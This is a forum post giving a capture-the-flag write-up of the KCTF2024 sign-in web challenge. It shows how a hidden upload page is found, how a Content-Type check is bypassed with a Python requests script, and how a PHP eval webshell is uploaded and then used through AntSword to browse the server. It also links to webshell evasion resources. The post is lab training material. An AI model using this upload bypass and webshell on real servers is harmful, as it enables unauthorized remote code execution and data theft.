首页
社区
课程
招聘
[原创]CTF2024签到题
发表于: 2024-9-1 22:38 240

[原创]CTF2024签到题

2024-9-1 22:38
240

1. 准备工作

  1. fiddle 抓包工具
  2. 中国蚁剑
  3. 需要有Python环境

2. 进入2024 CTF 签到题

(1)第一种方式

进入官网,选择CTF栏,点击进入签到题,然后启动靶机

(2)从特定网址进入

进入网址https://kctf.kanxue.com/challenges,选择Web-->选择KCTF2024_签到题

选择启动靶机

提示靶机已经部署,可以开始答题了

选择“题目链接”,进入题目

不推荐第二种方式,因为可能分数不会记录到kctf平台

3. 解题过程

(1)步骤1

进入题目后,点击左上角的Hint,会进入到https://*.node.pediy.com:81/flag.php地址中,

(2)步骤2

右击当前界面--->查看网页源代码或者使用快键键ctrl + U,然后再网页源代码中,翻到最底下,可以看见一串base64编码后的字符串

将“aGlkZGVuX3BhZ2UucGhw”解码后为:hidden_page.php

这个根据命名单词来看,像一个隐藏页,那么进入网址输入栏中,将flag.php替换成hidden_page.php。

可以发现打开了一个上传文件的网页代码。

根据以往的出题经验以及网页中出现一个上传文件的操作,基本可以确定的是,本题考核的重点为“网络安全之文件漏洞”这系列的知识点,

使用php木马脚本访问服务器目录

参考以下资料:

【浅谈网络安全之文件上传】https://xie.infoq.cn/article/76ba3604b48fb0ee528bbac10

【[探索网络安全:浅析文件上传漏洞】https://www.cnblogs.com/guoxiaoyu/p/18306678

(3)步骤3

当我们随意上传一个文件时,会提示只接收jpg和png图片格式的文件,

那么说明这个题目还带有文件格式校验,一般的校验会有以下几种方式:

  1. 网页源码中判断当前上传的文件类型
  2. 通过检查文件头信息(如png,jpg等)
  3. 上传文件以二进制形式下载,且不能在服务器端运行,防止木马文件直接执行
  4. 网络请求中对content-type字段进行判断

等等,那么进行逐一排查后发现,该题目采用的是对content-type字段进行判断,那么,可以采用Python编写网络请求的方式,进行绕过

首先使用fiddle进行网络抓包,抓取当前上传文件的网络请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php HTTP/1.1
Host: 540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81
Connection: keep-alive
Content-Length: 114786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRONsmeocBVn0GPig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
 
------WebKitFormBoundaryRONsmeocBVn0GPig
Content-Disposition: form-data; name="upload_file"; filename="RaingDay.jpg"
Content-Type: image/jpeg
 
     JFIF         C 
  

抓取到的请求包如上所示,

那么接下来要做的是,如何将php一句话木马程序上传至服务器,并对服务器目录进行访问,

使用Python编写一个脚本,对当前服务器上传一个文件即可,只需要更改content-type字段为:'image/jpeg'即可上传任意类型的文件,

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
 
url = "http://540e6f55-5819-4634-a929-e8c8098f8bec540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php"
headers = {
    "Host": "540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81",
    "Connection": "keep-alive",
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": "http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
}
 
# 文件内容
file_content = '''<?php @eval($_POST['shell']); echo"luck"; ?>'''
 
# 将文件内容写入到一个文件中
with open('dongtai.php', 'w',encoding='utf-8') as f:
    f.write(file_content)
 
# 将文件加入到请求的文件部分,并指定 Content-Type
files = {
    'upload_file': ('dongtai.php', open('dongtai.php', 'rb'), 'image/jpeg', {'Content-Type': 'image/jpeg'})
}
 
# form-data 中的其他字段
data = {
    'submit': '上传'
}
 
# 发送 POST 请求
response = requests.post(url, headers=headers, files=files, data=data)
 
# 打印响应内容
print(response.text)

执行代码即可,需要注意的是,更改url地址及其header中对应的url地址

(4)步骤4

打开URL地址栏,输入http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/upload/dongtai.php (需要更改前部分的地址)

为啥我会知道有upload这个目录,因为经验,比如管理界面一般是userAdmin.pho,root.php等

界面中显示如下,即成功上传php文件,

现在打开中国蚁剑,右击选择添加数据,在打开的窗口中

URL地址:填入完整的url地址,比如http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/upload/dongtai.php

链接密码:shell

其他默认即可

然后点击测试连接,提示连接成功即可,点击保存

双击上面这个刚刚建立的链接,然后就会进入到当前web后台的目录

最后,点击"/",进入最开始的根目录,就可以找到藏起来的flag了。

将该文件下载下来,就可以看见flag了,

本来以为还需要执行一次php文件,结果不用,尴尬

flag打开为:

4.总结

主要考查对网络安全方面的知识点,关于一句话木门,可以参考以下资料

【浅谈一句话木马】https://github.com/FunctFan/gewuzz-security/blob/master/web-an-quan/yi-ju-hua-mu-ma.md

【一句话木马免杀】https://github.com/BugFor-Pings/PHPwebshell


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//